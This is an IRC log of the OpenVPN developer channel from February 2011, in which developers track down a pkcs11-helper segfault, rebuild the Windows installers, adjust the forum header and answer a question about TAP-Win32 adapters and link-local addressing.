http://www.fpaste.org/Mf0w/ 04:28 <@dazo> to me, this smells like an issue in pkcs11 04:28 <+janjust> aha so it *does* have something to do with pkcs11 04:28 <+janjust> my openvpn server did not have that built in 04:28 <@dazo> that explains a lot, actually 04:29 <@dazo> janjust: thx for helping out on this one ... it now makes more sense :) 04:30 <@dazo> and ... my openvpn-testing build, does not include pkcs11 support 04:30 <+janjust> this seems like a big fat bug in pkcs11-helper, BTW 04:30 <@dazo> yupp! 04:30 * dazo pulls the code now 04:30 <+janjust> if you call pkcs11h_logout before doing anything else it simply SEGVs 04:31 <@dazo> mm 04:32 <@dazo> you wrote a quick reproducer right now? Or just a hypothesis? 04:32 * dazo is about to write exactly that code :) 04:32 <+janjust> nope, this is hypothesis 04:32 <+janjust> but I am fairly sure this is exactly what's happening 04:33 <+janjust> doing 'current_session = _g_pkcs11h_data->sessions;' without first checking if _g_pkcs11h_data is set is asking for trouble.... 04:33 <@dazo> yeah 04:34 <+janjust> bingo 04:35 <+janjust> test program from the pkcs11-helper 1.07 source tree : add a line 'pkcs11h_logout()' at the beginning and SEGV 04:35 <@dazo> :) 04:36 <+janjust> and 1.07 is the latest version too... I'll send an email to opensc-devel 04:36 <@dazo> I'm about to write a patch 04:41 <+janjust> dazo: you have mail 04:41 <@dazo> thx 04:41 <@dazo> you were quicker ;-) 04:41 <+janjust> are you adding a patch to openvpn for this ? 04:42 <+janjust> I'm a big fat lazy cat, dazo: 95% of the time I am slow and lazy, but when the right "prey" comes along (a nice juicy big fat bug that _I_ did not make) then I can be pretty fast 04:43 <@dazo> I can't do much in openvpn ... or, to do that, I need to have a variable indicating if pkcs11h_logout should be called or not 04:43 <@dazo> that sounds like a hack to me 04:43 <+janjust> yep, it'd be a hack to check whether the pkcs11h subsystem was initialized or not 04:43 <+janjust> and if not, then don't call pkcs11h_logout 04:44 <@dazo> yeah, exactly 04:44 <+janjust> ugly, crude, yet effective. I'm just worried that it will take the opensc developers some time to get this fixed - that project is not going too smoothly 04:45 <@dazo> ah, okay ... then I'll look into it ... and mark it as a hack in openvpn 04:45 <+janjust> we can wait for a few days and see how they respond 04:45 <@dazo> yeah 04:45 <+janjust> it's just that the opensc 0.12 release has been taking , well, nearly as long as openvpn 2.2 ;-) 04:47 <@dazo> heh ... well, 2.2 is still in a lightning fast movement, compared to 2.1 :-P 04:47 <+janjust> dazo: are you updating the Trac ticket as well? 04:47 <@dazo> I'll take care of that! 04:47 <+janjust> hehe that's true... 2.1 only took 3 years or so 04:48 <@dazo> closer to 5, iirc :) 04:49 <@dazo> 2005.10.01 -- Version 2.1-beta1 :) 04:55 < psha> dazo: 'rolling release distribution' :) 04:55 <@dazo> :) 04:56 <@dazo> psha: by the way ... the git troubles I had with mattock ... it might be related to some bugs in 'git am' ... git version 1.5 and 1.6 tackled the files perfect, but not 1.7 :) 04:56 * dazo need to figure out of that as well 04:58 < psha> hm, very strange 04:59 < psha> you have 1.7 i guess? :) 04:59 <@dazo> yeah, I can merge or rebase mattocks branches without any issues, but if I produce patch files (git format-patch) ... it rejects it 04:59 <@dazo> yeah, I do :) 04:59 < psha> wow... 05:00 < psha> that's really strange 05:00 < psha> you've figured what patch/file cause problems? 05:00 <@dazo> not yet, haven't had time to dig too deep in it yet ... but I hope to manage that today :) 05:00 < psha> maybe some incompatibilities in file creation/rename? 05:01 <@dazo> nope ... it's just adding 3-4 lines of code in between existing source file 05:01 <@dazo> it's completely weird 05:03 < psha> that's really wierd - whole linux development is based on mailed patches so this bug(?) surely have been encountered there 05:03 <@dazo> it must, somehow 05:31 -!- psha [~psha@213.208.162.69] has quit [Read error: Connection reset by peer] 05:35 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 06:14 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 07:03 <+ecrist> good morning peeps 07:06 <+janjust> morning ecrist 07:06 <+janjust> dazo? you have mail again ... ticket #88 can be closed 07:08 <@mattock> hi all 07:08 <@mattock> I'm in energy saving mode, got a minor flu or something 07:10 <@mattock> dazo: anything new regarding beta2.2? 07:18 <@dazo> janjust: yeah, thx! Ticket closed :) 07:18 <+janjust> it does mean that we need a rebuild of the windows version as well 07:19 <@dazo> mattock: I have simply not had time to really poke into it .... but its on the agenda, for sure 07:19 <@mattock> dazo: ok, no prob... do you think it could be ready by meeting time tomorrow? 07:19 <@mattock> might be easier to get James to sign the packages in a meeting 07:20 <@dazo> hmm ... I can sure try, it's just that my plate is very full nowadays ... I'll try to see what I'll manage 07:25 <@mattock> no stress :) 07:25 <@dazo> mattock: please notice the msg from janjust as well ... a pkcs11 helper bug segfaults openvpn in some situations 07:25 <@dazo> (ticket 88) 07:25 <@mattock> hmm, ok 07:30 <@mattock> ok, got to roll out new Windows installers 07:31 <@dazo> yeah, is basically just to get pkcs11-helpers upgraded 07:38 <@mattock> I'll upgrade openssl, too 07:40 <+janjust> perhaps interesting for the windows developers: http://forums.openvpn.net/topic7622.html#p9859 07:40 <@vpnHelper> Title: OpenVPN Support Forum Windows 7 x64, routing, DHCP and a unstable VPN : Server Administration (at forums.openvpn.net) 07:40 <+janjust> seems that a 'ipconfig /renew' can destroy the existing routes on Win7 ; I can reproduce it on my laptop 07:41 <+janjust> however, if I add 'register-dns' to the client config file the problem goes away... 07:58 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 08:04 <@mattock> new Windows version of 2.2-rc now building 08:04 <@mattock> latest openssl and pkcs11-helper-1 08:07 <@dazo> cool! 08:07 <@dazo> great job, mattock! 08:09 <@mattock> what do you think about having a "Windows build dependencies" package with all of the OSS components in correct directory hierarchy and ready to go? 08:09 <@dazo> I like the idea 08:09 <@mattock> less work for everyone at this point: https://community.openvpn.net/openvpn/wiki/BuildingOnWindows?version=59#Settingupdependencies 08:09 <@vpnHelper> Title: BuildingOnWindows – OpenVPN Community (at community.openvpn.net) 08:10 <@mattock> would avoid the need to build openssl, lzo2 etc 08:10 <@dazo> in fact, it could be good to have that one as a separate installable installer (called via the openvpn installer in quiet mode) ... would make it easier to upgrade those support libs later on 08:10 <@mattock> oh, that's a good idea too 08:42 <@mattock> here's the latest installer with updated dependencies: http://build.openvpn.net/downloads/releases/openvpn-2.2-rc-install-preview-9.exe 08:42 <@mattock> smoketested on winxp 32-bit and win7 64-bit 08:50 <@dazo> mattock: thx! 08:50 <@dazo> mattock: can you please update ticket 88 ... it should be a user able to test it there 08:51 <@dazo> you can leave it as closed ... but explain this build has the updated pkcs11 helper libs 08:57 -!- s7r [~s7r@unaffiliated/s7r] has left #openvpn-devel [] 09:09 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 09:29 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 10:52 -!- andj_afk is now known as andj 11:53 -!- dazo is now known as dazo_afk 13:18 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 13:46 <@mattock> dazo: yep 13:49 <@mattock> done 15:12 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 250 seconds] 15:16 < Essobi> man I always miss him. 15:16 < Essobi> Heh. 15:16 -!- andj is now known as andj_afk 15:51 -!- Netsplit *.net <-> *.split quits: @cron2, @d457k, kisom 15:52 -!- Netsplit *.net <-> *.split quits: @patelx, EO_, i7-Cud4 15:54 -!- Netsplit over, joins: @patelx, EO_, i7-Cud4, kisom, @d457k, @cron2 16:01 -!- Netsplit *.net <-> *.split quits: @patelx, i7-Cud4, EO_ 16:09 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 16:11 -!- Netsplit over, joins: @patelx, EO_, i7-Cud4 16:19 -!- Essobi_ [~Essobi@74-128-53-127.dhcp.insightbb.com] has joined #openvpn-devel 16:29 -!- Netsplit *.net <-> *.split quits: i7-Cud4 16:31 -!- Netsplit *.net <-> *.split quits: @vpnHelper, Essobi 16:35 -!- i7-Cud4 [~thoor@i.got.so.shitfaced.co] has joined #openvpn-devel 16:37 -!- i7-Cud4 [~thoor@i.got.so.shitfaced.co] has quit [Ping timeout: 240 seconds] 16:39 -!- Netsplit over, joins: vpnHelper 16:39 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 18:35 -!- i7-Cud4 [~thoor@i.got.so.shitfaced.co] has joined #openvpn-devel 23:29 -!- i7-Cud4 [~thoor@i.got.so.shitfaced.co] has quit [Quit: changing servers] 23:29 -!- i7-Cud4 [~thoor@i.got.so.shitfaced.co] has joined #openvpn-devel --- Day changed Thu Feb 24 2011 00:41 -!- andj_afk is now known as andj 01:02 -!- andj is now known as andj_afk 01:26 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 02:26 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:26 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:35 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 02:35 -!- mode/#openvpn-devel [+v krzee] by ChanServ 03:41 -!- dazo_afk is now known as dazo 03:51 <@mattock> manifest embedding step automated now 05:31 -!- psha_ [~psha@213.208.162.69] has joined #openvpn-devel 05:31 -!- psha [~psha@213.208.162.69] has quit [Read error: Connection reset by peer] 05:32 -!- psha_ is now known as psha 06:11 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 06:13 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 06:30 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 07:17 <@mattock> Essobi: I got two additional buildsystem patches ready you're probably interested in 07:17 <@mattock> manifest embedding is now automated 07:17 <@mattock> and it's possible to use prebuilt TAP-drivers, meaning that skipping tapinstall.exe and tap-driver building entirely is now possible 07:24 <@cron2> cool 07:31 <@mattock> the "forgot to embed manifest files" bit me a couple of times already, so that's fortunately history :) 08:45 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 09:13 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 09:27 -!- psha [~psha@213.208.162.69] has quit [Ping timeout: 264 seconds] 09:30 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 10:36 -!- andj_afk is now known as andj 11:31 -!- andj is now known as andj_afk 11:45 <+ecrist> ping raidzx or mattock 11:45 <+ecrist> which one of you guys created the header for the forums? 12:11 <@mattock> apparently no need for meeting today? 12:11 <+ecrist> apparently 12:12 <@mattock> ecrist: I think the header was made by Frank 12:12 <@mattock> does it need changes? 12:12 <+ecrist> it takes up a lot of realestate 12:12 <+ecrist> it would be nice if we could get rid of some of the whitespace (blue in this case) 12:12 <+ecrist> sort of scrunch everything together vertically a bit 12:13 <@mattock> yeah, it's rather big 12:14 <@mattock> any ideas how to compress it best? 12:14 < psha> mattock: gzip 12:14 <+ecrist> just move things closer together on the vertical axis 12:15 < psha> maybe make register/login//openvpn.net/index one menu string? 12:15 < psha> not two? 12:15 < psha> i bet this is customizable 12:16 <+ecrist> it would seem most of our users have high-resolution screens, so not a huge issue 12:16 < psha> ah, it's in td 12:16 <@mattock> ecrist: perhaps you could create a quick mock-up? 12:16 <+ecrist> mattock: I'll see what I can do 12:16 <+ecrist> oh, I think I can just edit this 12:16 <@mattock> perhaps we could drop the second "openvpn" 12:17 <+ecrist> I'll do something up quick and let you know when it's done 12:17 <@mattock> so it would be [OPENVPN] Support Forums, where [OPENVPN] is the logo 12:18 <@mattock> or, have the OpenVPN logo on top, then "Support Forums" below that 12:37 < Essobi_> mattock: Nice! 12:43 -!- Essobi_ is now known as Essobi 12:53 <+ecrist> i am in your base, killing all your dudes 12:53 * ecrist breaks openvpn forum CSS 13:08 -!- dazo is now known as dazo_afk 13:18 <+ecrist> ping mattock 13:21 <+ecrist> mattock: when you come back around, check out the new forum header, let me know what you think. 13:23 <+ecrist> overall, my work shaved 20 pixels off the header 13:36 -!- andj_afk [~adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has quit [Ping timeout: 240 seconds] 13:36 -!- andj_afk [~adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has joined #openvpn-devel 13:36 -!- andj_afk is now known as andj 13:36 < psha> ecrist: is it possible to two link blocks together? 13:37 <+ecrist> what? 13:37 <+ecrist> I don't understand 13:37 < psha> then you'll save 30px 13:37 <+ecrist> you mean where logout is and the control panel/index/etc? 13:37 < psha> unregistered (me) visitor see "register login" links on top 13:38 < psha> and below logo you have links to openvpn.net index and faq 13:38 <+ecrist> when you're logged in, the bottom one gets fairly long. 13:38 < psha> ah, ok 13:40 <+ecrist> I could do some absolute positioning in CSS and move the 'Community Support Forum' line up about 10 pix, along with moving up the main link bar, and then adjust the background again, but I think this is fine for now. 13:59 < psha> yea, that's already better 14:09 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 14:56 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 14:56 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:03 -!- andj is now known as andj_afk 15:04 -!- s7r [~s7r@unaffiliated/s7r] has left #openvpn-devel [] 16:06 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 16:57 < Essobi> mattock: Where can I get those two new patches? 17:10 <+ecrist> krzee: ping 17:10 <+ecrist> Essobi: git maybe? 17:21 -!- i7-Cud4 [~thoor@i.got.so.shitfaced.co] has quit [Ping timeout: 240 seconds] 17:22 < Essobi> ecrist: perhaps.. he said he was going to nuke the branch I fetched from.. 20:11 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has quit [Ping timeout: 240 seconds] 20:12 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has joined #openvpn-devel 22:36 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 23:55 -!- andj_afk is now known as andj --- Day changed Fri Feb 25 2011 00:38 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 00:54 -!- andj is now known as andj_afk 01:30 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 01:30 -!- mode/#openvpn-devel [+v krzee] by ChanServ 02:22 -!- dazo_afk is now known as dazo 02:40 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 03:20 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 04:07 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has quit [Remote host closed the connection] 04:07 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has joined #openvpn-devel 04:30 -!- dazo_ [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 04:30 -!- mode/#openvpn-devel [+o dazo_] by ChanServ 04:32 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Read error: Connection reset by peer] 04:33 -!- dazo [~dazo@nat/redhat/x-fxcnqreereodrzwi] has joined #openvpn-devel 04:33 -!- dazo [~dazo@nat/redhat/x-fxcnqreereodrzwi] has quit [Changing host] 04:33 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 04:33 -!- mode/#openvpn-devel [+o dazo] by ChanServ 04:36 -!- dazo_ [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 250 seconds] 06:05 <+krzee> ecrist, pong 06:19 -!- s7r [~s7r@unaffiliated/s7r] has quit [Read error: Connection reset by peer] 06:20 <@dazo> mattock: I'm sorry, I won't manage too much with OpenVPN today ... but I believe (cross your fingers) that this weekend might become a little bit calmer than planned 06:20 -!- s7r [~s7r@82.77.119.200] has joined #openvpn-devel 06:20 -!- s7r [~s7r@82.77.119.200] has quit [Changing host] 06:20 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 06:24 -!- s7r [~s7r@unaffiliated/s7r] has quit [Client Quit] 06:50 -!- janjust [~janjust@2001:610:120:e100:212:3fff:fe20:8d10] has joined #openvpn-devel 06:50 -!- janjust [~janjust@2001:610:120:e100:212:3fff:fe20:8d10] has quit [Changing host] 06:50 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 06:50 -!- mode/#openvpn-devel [+v janjust] by ChanServ 06:57 <@vpnHelper> RSS Update - tickets: #89: Assertion failed at crypto.c:162 <https://community.openvpn.net/openvpn/ticket/89> 07:02 <@vpnHelper> RSS Update - tickets: #90: server side route statements are affected by 'topology subnet' <https://community.openvpn.net/openvpn/ticket/90> 07:06 <+ecrist> krzee: I modified the header for the forum, what do you think about my changes? 07:13 <@vpnHelper> RSS Update - tickets: #91: shaper does not work in linux clients <https://community.openvpn.net/openvpn/ticket/91> 07:23 <@vpnHelper> RSS Update - tickets: #92: pkcs#11 rekeying fails unless 'script-security 2 system' is used <https://community.openvpn.net/openvpn/ticket/92> 07:23 <+janjust> and that's number 4 :) 07:23 <+janjust> yep , all of them are mine .... 07:24 <+krzee> ahh great thanx, i meant to add a couple after reading the book 07:24 <+krzee> but i was on a plane so i couldnt do it at the time... and vacation took over 07:24 <+janjust> I ran into all 4 when writing the book ... 07:24 <+janjust> vacation is MUCH more important then entering openvpn bugs 07:26 <+janjust> krzee: if you've found/seen other bugs then let me know (better yet, enter them into trac) 07:26 <+krzee> the ones i saw i left in the comments 07:27 <+ecrist> krzee /// 07:27 <+krzee> i think like 2 of them, between chapters 5 and the end 07:27 <+janjust> I'll check 07:28 <+krzee> ecrist, checking now =] 07:28 <+krzee> ecrist, what changed...? 07:29 <+ecrist> it's about 20px shorter, and I changed language from 'OpenVPN Support Forum' which was to the right of the logo to what's there now. 07:29 <+ecrist> the whole thing got scrunched down 07:29 <+ecrist> it was tall, and had lots of whitespace 07:35 <+krzee> looks good 07:35 <+janjust> krzee? I'm going through the reviews now and cannot find anything from you after ch5 ... 07:35 <+janjust> do you happen to know of a chapter? perhaps the editors screwed up (again) 07:35 <+krzee> lemme look 07:35 <+krzee> 1min 07:36 <+krzee> capt 6+ would have been jan 20th 07:36 <+krzee> maybe they didnt have time left for anything 07:36 <+janjust> ah OK, lemme see 07:38 <+janjust> hmmm I received all reviews in december... 07:38 <+janjust> so your review comments were probably not included... that's a shame, can you forward me your reviews. If/When I update the book I'll incorporate your comments 07:38 <+krzee> yep 07:38 <+krzee> 1sec 07:39 <+krzee> sorry they were so late 07:39 <+janjust> take your time, I'm not touching a word processor for the next month or so ;-) 07:42 <+krzee> 6-9 sent 07:45 <+janjust> thx, got them 07:45 <+krzee> "OpenVPN 2.1 on Linux currently does not support traffic shaping very well. " 07:45 <+krzee> Note to self: make a ticket on trac regarding this. 07:45 <+krzee> hehe 07:48 <+ecrist> note to self: please correctly to proper use of english 07:55 -!- Engin [~engin@85.108.240.6] has joined #openvpn-devel 07:56 <+janjust> krzee: that's ticket #91 07:56 < Engin> I want to have an additional virtual interface which is on its own subnet but uses the same physical adapter. I thought TAP-Win32 adapter is a good place to start for that. Any suggestions ? 07:57 <@dazo> Engin: I suggest asking that on #openvpn 07:57 < Engin> haha 07:58 <+janjust> lol dazo, I just referred him to this page 07:58 <+janjust> s/page/channel 07:58 <@dazo> haha 07:58 <+janjust> as this has more to do with tap-win32 programming then with openvpn support 07:58 <@dazo> okay, I didn't know that :) 07:59 <+janjust> I figured somebody here might know more about the internals of tap-win32 then on the #openvpn channel 07:59 <@dazo> cron2 is probably the one who knows most about it here 07:59 <@dazo> and james 07:59 <@dazo> except of that ... not that many windows devels here ... 08:00 < Engin> ok 08:00 < Engin> I just want to know if I'm on the right track 08:01 < Engin> I mean I'm expecting an answer like 1) yeah tap/tun is the way to go for that 2) that's intended for something completely else 08:02 < Engin> what is the TAP virtual network adapter is used for in OpenVPN exactly ? 08:02 <@dazo> it is basically a virtual network card 08:02 <+janjust> Engin: check out http://www.petri.co.il/configure_tcp_ip_to_use_dhcp_and_a_static_ip_address_at_the_same_time.htm 08:02 <@vpnHelper> Title: Configure TCP/IP to use DHCP and a Static IP Address at the Same Time (at www.petri.co.il) 08:02 < Engin> oh 08:02 < Engin> let me see 08:02 <+janjust> it requires a reg hack but it should work 08:03 <+janjust> on 2000/xp, dunno about vista/7 08:03 <@dazo> in TAP mode, the TAP adapter basically works like a normal network card ... except of putting the traffic out to some physical wires, it's sent to an application 08:04 <@dazo> TUN mode is quite similar, but it is getting setup higher up in the OSI layers, as a point-to-point device, so it only tackles IP traffic 08:07 <+ecrist> i think everyone here is in the main channel 08:08 * dazo considers to leave #openvpn then ... just to make a difference :-P 08:08 * ecrist doubts anyone would complain 08:08 <+ecrist> >:) 08:09 <@dazo> lol 08:09 * dazo concurs :) 08:17 < Engin> janjust, it worked on xp and vista, but not very clean :/ 08:17 <+janjust> hmmm I just tried the petri.co.il recipe ... does not seem to work exactly as I thought 08:18 < Engin> it manipulates users settings, and if user plays with them, they are reverted again 08:18 <+janjust> yep 08:18 <+janjust> it's either multiple static IPs or a single DHCP IP, so it seems 08:19 <@dazo> I think there is no way technically to reliably have more IPv4 addresses on an interface in Windows 08:19 <@dazo> I don't think Windows support aliases, like Linux 08:19 <@dazo> For IPv6, each device should support multiple IP addresses ... but not with IPv4 08:20 <+janjust> dazo: yes Windows does support it, but not a DHCP IP + an alias 08:20 <@dazo> aha, I didn't know that 08:20 <@dazo> interesting limitation, though 08:20 <+janjust> hey, it's windows 08:20 <+janjust> what did you expect? 08:20 <@dazo> almost sounds like a bug which MS defined as a feature :) 08:20 <@dazo> heh :) 08:21 <+janjust> but the tap-win32 route is also not a good idea : you might be able to inject the right packets, but you won't be getting any packets back 08:21 <+janjust> and you can inject packets with or without a tap-win32 adapter anyway - that's just a matter of opening a RAW socket 08:24 < Engin> I wonder if I can get a TCP/IP stack on a RAW socket :D 08:24 < Engin> otherwise it is a lot of work 08:25 < Engin> raw socket is a good idea actually, yeah 08:29 <@dazo> Engin: are you aiming for TUN or TAP devices initially? 08:33 < Engin> yes 08:33 < Engin> I'm trying to solve a problem. I thought TAP could be an answer. 08:34 < Engin> The problem is that I'm coding a embedded device which you should be able to connect to and configure it via 1) LAN or 2) direct ethernet cable 08:34 < Engin> In LAN it is no problem since all nodes of the operation acquire an IP address from DHCP servers 08:34 < Engin> in direct ethernet cable connection between PC and the device 08:34 <@mattock> essobi: the patch is here: http://users.utu.fi/sjsepp/0001-Added-support-for-prebuilt-TAP-drivers.-Automated-em.patch 08:34 < Engin> there's a slight problem 08:34 < Engin> because WindowsXP waits for a long time to fall back to link-local IP addresses (169.254.c.d) 08:35 < Engin> but I'M assigning a link-local address to my self, in the device, during boot up. SO the device is ready as soon as the PC acquired a link-local address 08:35 < Engin> which takes a long time in winxp 08:35 <@mattock> ecrist: nice work on forums header, I like it 08:35 < Engin> so I though I might add an additional interface with link-local ip on it... so winxp wouldn't have to wait 08:36 <+ecrist> mattock: good, it was pretty simple to update, I had to edit the background image, but cropping is easy. :) 08:38 <+janjust> Engin: that's not going to work with a tap-win32 adapter 08:38 < Engin> janjust, can you clarify 08:39 <@mattock> ecrist: I wonder if "Community support forums", the three links and the search bar could at the same (horizontal) level 08:39 <+ecrist> no, it was brought up yesterday 08:40 <+janjust> Engin: you want to assign an IP address to the physical interface, as that is the interface on which win xp is listening 08:40 <+ecrist> that bar with three links gets substantially longer once you're logged in 08:40 <@mattock> dazo: if you were James, you'd say "I'm swamped" :) 08:40 <@mattock> ecrist: oh yeah 08:40 <@dazo> mattock: heh :) true ... but I'm probably half as swamped as he is :-P 08:41 <@mattock> I wonder if he ever gets out of the swamp, he's been like that for 15 months now 08:41 <@mattock> I hope so 08:41 < Engin> janjust, imagine there's an virtual network adapter with an IP and everything, only difference it as soon as it cooked the whole packet above the ETH level, it puts the frame on the physical device 08:41 < Engin> there'sno such thing eh ? :) 08:42 < Engin> but I rememebr I've once used a tap device on linux to test out a seperate tcp/ip stack 08:42 < Engin> all in user space 08:43 <+janjust> Engin: how bad is it to have to wait for an 'alternate configuration' to come up? 08:44 < Engin> janjust, I don't get what you mean ? 08:46 <+janjust> from what you describe, your setup works when connected over a direct link, it's just that you have to wait a while before the DHCP client times out and the windows alternate config kicks in (either a 169.254 address or whatever you've defined in the network properties screen) 08:46 <+janjust> how much effort do you want to put in writing an application which fakes an interface alias for something that does seem to work well on windows in the first place? 08:47 <+janjust> s/that does seem/that does NOT seem/ 08:54 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 09:16 -!- Engin [~engin@85.108.240.6] has quit [Ping timeout: 240 seconds] 09:26 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 09:32 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 09:33 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 09:33 -!- mode/#openvpn-devel [+o mattock] by ChanServ 09:53 * cron2 wakes up 09:58 <@cron2> "there's no way to attach the tap-virtual ethernet to a real ethernet, unless you have an application that listens on the tap, and bridges all packets back and forth to the LAN interface 11:23 -!- andj_afk is now known as andj 11:44 -!- dazo is now known as dazo_afk 12:12 -!- andj is now known as andj_afk 12:28 < Essobi> mattock: Yo 12:33 < psha> cron2: wow, really? is not bridge (brctl) doing exactly what's stated? 12:33 -!- Engin [~engin@85.108.106.130] has joined #openvpn-devel 12:42 -!- Engin [~engin@85.108.106.130] has quit [Ping timeout: 272 seconds] 13:24 -!- andj_afk is now known as andj 13:43 -!- andj is now known as andj_afk 13:48 <+krzee> http://pastebin.com/gvs2iT3E 14:40 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 276 seconds] 16:45 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 17:37 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 17:53 -!- s7r [~s7r@unaffiliated/s7r] has left #openvpn-devel [] 18:39 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Ping timeout: 240 seconds] 18:44 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 19:12 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 19:13 < s7r> .j #vmware 19:22 -!- andj_afk is now known as andj 19:59 -!- andj is now known as andj_afk 20:49 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 20:49 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 21:06 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has quit [Ping timeout: 240 seconds] 21:07 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has joined #openvpn-devel 21:16 -!- s7r [~s7r@unaffiliated/s7r] has quit [Ping timeout: 246 seconds] 22:30 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] --- Day changed Sat Feb 26 2011 00:54 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 01:22 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 02:51 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 02:55 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 03:14 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:14 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:23 -!- andj_afk is now known as andj 04:23 <@cron2> psha: there is no brctl on windows 04:24 <@cron2> on linux, you can use brctl to tie together tap0 and eth0, but there you can just use alias interfaces to achieve the desired thing 05:01 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 05:01 -!- mode/#openvpn-devel [+v krzie] by ChanServ 05:45 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] --- Log closed Sat Feb 26 09:57:15 2011 --- Log opened Sat Feb 26 11:00:39 2011 11:00 -!- ecrist [~ecrist@216.17.68.153] has joined #openvpn-devel 11:00 -!- Irssi: #openvpn-devel: Total of 21 nicks [7 ops, 0 halfops, 0 voices, 14 normal] 11:00 -!- mode/#openvpn-devel [+v ecrist] by ChanServ 11:01 -!- Irssi: Join to #openvpn-devel was synced in 39 secs 13:21 -!- andj is now known as andj_afk 13:23 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel --- Log closed Sat Feb 26 13:33:21 2011 --- Log opened Sat Feb 26 13:33:26 2011 13:33 -!- ecrist [~ecrist@216.17.68.153] has joined #openvpn-devel 13:33 -!- Irssi: #openvpn-devel: Total of 22 nicks [7 ops, 0 halfops, 0 voices, 15 normal] 13:33 -!- mode/#openvpn-devel [+v ecrist] by ChanServ --- Log closed Sat Feb 26 13:34:58 2011 --- Log opened Sat Feb 26 13:38:26 2011 13:38 -!- ecrist [~ecrist@216.17.68.153] has joined #openvpn-devel 13:38 -!- Irssi: #openvpn-devel: Total of 22 nicks [7 ops, 0 halfops, 0 voices, 15 normal] 13:38 -!- mode/#openvpn-devel [+v ecrist] by ChanServ 13:39 -!- Irssi: Join to #openvpn-devel was synced in 39 secs --- Log closed Sat Feb 26 13:42:40 2011 --- Log opened Sat Feb 26 13:43:27 2011 13:43 -!- ecrist [~ecrist@216.17.68.153] has joined #openvpn-devel 13:43 -!- Irssi: #openvpn-devel: Total of 22 nicks [7 ops, 0 halfops, 0 voices, 15 normal] 13:43 -!- mode/#openvpn-devel [+v ecrist] by ChanServ 13:44 -!- Irssi: Join to #openvpn-devel was synced in 39 secs --- Log closed Sat Feb 26 13:45:31 2011 --- Log opened Sat Feb 26 17:29:24 2011 17:29 -!- ecrist [~ecrist@216.17.68.153] has joined #openvpn-devel 17:29 -!- Irssi: #openvpn-devel: Total of 21 nicks [7 ops, 0 halfops, 1 voices, 13 normal] 17:29 -!- mode/#openvpn-devel [+v ecrist] by ChanServ 17:29 -!- Irssi: Join to #openvpn-devel was synced in 39 secs 17:46 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 18:41 -!- s7r [~s7r@unaffiliated/s7r] has left #openvpn-devel [] 19:03 -!- EO_ 